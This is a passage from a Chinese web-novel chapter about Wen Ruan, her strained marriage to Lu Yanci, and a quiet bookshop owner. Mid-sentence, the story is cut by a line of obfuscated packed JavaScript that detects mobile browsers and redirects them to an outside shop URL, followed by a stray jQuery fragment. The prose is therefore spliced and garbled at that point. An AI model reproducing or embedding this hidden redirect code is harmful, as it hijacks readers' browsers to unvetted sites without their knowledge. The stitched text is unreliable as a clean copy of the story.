轻轻松松。
温阮把书放下，书脊磕在茶几玻璃上，发出一声脆响。
她站起来，比陆砚辞矮了大半个头，但她的脊背挺得很直，像是有什么东西从里面撑着她。
“我坐在家里轻松？”
她重复了一遍这句话，“陆砚辞，你每天出门的时候，衣服是谁熨的？你晚上回来不管多晚，那盏灯是谁留的？你冰箱里那些切好的水果，是谁一个一个削的？”
她声音不大，但每个字都带着一种压了很久的重量。
“你让我懂事。我懂事六年了。你住地下室的时候我懂事，你公司没钱的时候我懂事，你一天到晚往外跑的时候我懂事。你要我懂到什么时候？懂到你跟别人帮我搬家的时候我还要笑着说谢谢？”
陆砚辞的脸色变了，嘴唇抿成一条线。
温阮从他身边走过去，经过茶几的时候那盒蛋糕的奶油香气飘进鼻子里，甜腻腻的，熏得她反胃。
她走到楼梯口，手扶着栏杆，停了一下，没有回头。
“蛋糕你自己吃吧，我不喜欢甜的。”
她上楼了。
腿还是沉的，但这次她没有哭。
她走到衣帽间，打开最里面那个柜子，看着那双粉色的棉拖鞋。
她蹲下来，把拖鞋拿出来，放在地上，穿着拖鞋的脚伸进去。
有点小，脚后跟露在外面，鞋底的绒已经磨没了，踩在地上硬邦邦的，但她的脚趾在鞋头里蜷了蜷，像被什么柔软的东西包了一下，很轻，很快就没了。
她蹲在那个柜子前面，一直蹲到天黑。
楼下传来关门的声音，很轻，像是不想让人听到。
然后是车引擎发动的声音，这次走得很慢，轮胎碾过石子路，咯吱咯吱的，一点一点远了。
她没有起来。
衣帽间里没有窗户，天黑了她也不知道。
膝盖麻了，她扶着柜门站起来，脚底像踩了一团棉花，趿着那双旧拖鞋往外走。
走廊的感应灯亮了一盏，照出半截楼梯，她扶着墙慢慢下去，客厅里黑着，窗帘没拉，院子的路灯透进来一束光。
冰箱上贴着一张新纸条。
她走过去借着手机屏幕的光看了一眼，是王婶的字：太太，锅里炖了银耳，趁热喝。
温阮打开锅盖，银耳汤还温着，红枣泡得胖胖的，枸杞浮在面上。
她盛了一碗，坐在厨房的小凳子上喝。
银耳炖出胶了，滑溜溜的，咽下去的时候喉咙里一阵舒服。
她掏出手机，开了机。
消息不多，陆砚辞发了两条，第一条是“我出去透透气”，第二条是“早点睡”。
她看了看时间，两条隔了四十分钟。
她没有回，锁了屏幕，把剩下的银耳汤喝完，碗洗了放回沥水架。
那天夜里下了一场雨，不大，淅淅沥沥打在窗户上。
温阮睡得浅，雨声断断续续的，像有人拿指关节轻轻叩着玻璃。
她翻了个身，手搭在床的另一半，冰凉，没有体温。
陆砚辞一夜没回来。
她没发消息问，他也没发消息说。
天亮的时候雨停了，空气里一股湿漉漉的泥味。
温阮把那双旧拖鞋洗干净了，晾在阳台上。
拖鞋吸了水，沉甸甸的，挂在晾衣架上往下滴水，一滴，两滴，落在地砖上溅开小小的水花。
她站在阳台上看了一会儿，那些水花碎得很快，还没来得及看清形状就没了。
她换好衣服出门，坐地铁，去了那家书店。
门上的铃铛还是响了一声。
书店老板在搬书，看到他蹲在地上，把一摞书从纸箱里掏出来，一本一本码上架。
他听到铃铛抬头看了她一眼，什么也没问，只说:“今天有新的旧书到了。”
温阮走过去蹲下来，翻了翻那摞书。
一本《局外人》，扉页上有人写了句话:活得像个局外人，但我愿意。
字迹是圆珠笔写的，蓝色，笔画歪歪扭扭的。
“这个，”她举起来，“多少钱？”
书店老板看了一眼:“那个啊，十五。”
温阮掏出手机扫了码，十五块钱。
她把书揣进外套口袋里，站起来，忽然问了一句:“你那个朋友，沈既明，他平时会来吗？”
书店老板把最后一本书塞进架子，拍了拍手上的灰:“他啊，不定期。怎么，有事找他？”
“没有，随便问问。”
她走到角落那张椅子上坐下，把书掏出来翻。
第一页看了三遍都没读进去，字是认识的，但连起来就不往脑子里走。
她合上书，盯着封面发了一会儿呆。
手机震了。
是陆砚辞的电话。
她看着屏幕上跳动的名
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17777082|210050||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
字，按了接听。
“你在哪？”
他的声音哑得厉害，像是没睡好，也像是一夜没睡。
背景音安静，没有车声人声，应该是在哪里坐着。
“在外面。”
“那个书店？”
“嗯。”
沉默了几秒，他说:“我来接你。”
“不用，我自己回去。”
“温阮。”
她没应。
电话那头又沉默了一会儿，然后陆砚辞的声音低下来，低到像在自言自语:“你在那边等我，哪儿都别去。我马上来。”
温阮挂了电话，继续翻那本书。
书店老板端了杯茶过来，放在她旁边的小茶几上:“热的，姜枣茶。”
她说了声谢谢。杯子是白色的，杯沿缺了一个小口，她转了一下杯身，缺口对准自己看不到的方向。
“你好像心情不好。”他说。
温阮抬头看他。他靠在旁边的书架上，手里也端着一杯茶，雾气从杯口升起来，模糊了他的轮廓。
他今天穿了一件灰色的开衫毛衣，里面是白T，领口洗得有点松了。
“还行。”
他笑了一下，没追问。
坐下来，顺手从旁边的书架上抽了一本旧书翻开。
书页泛黄了，边角卷着，他翻页的动作很慢，像是不着急看完。
过了大概十五分钟，书店门口传来急刹车的声音。
轮胎擦着地面，吱的一声。
然后车门被甩上了，脚步声由远及近，很重，每一步都带着火气。
门被推开，铃铛猛地一响，陆砚辞站在门口，外套敞着，头发被风吹得乱糟糟的，喘着粗气。
他扫了一眼书店里面，目光锁住温阮，然后移到她旁边的那个男人身上。
书店老板放下书，站起来。
陆砚辞走过来，步子很快，几步就到了椅子前面。他没看那个书店老板，低头看着温阮:“回家了。”
温阮把书合上，站起来。
“等一下。”
书店老板忽然开口。他绕过柜台，从里面拿出一张书签，递给她，“这个夹在书里，下次来的时候不用重新找。”
书签是手写的，牛皮纸，上面写着:知无。
温阮接过来，说了声谢。
陆砚辞的目光落在那张书签上，又移回书店老板的脸上。
他问了一句:“你叫什么？”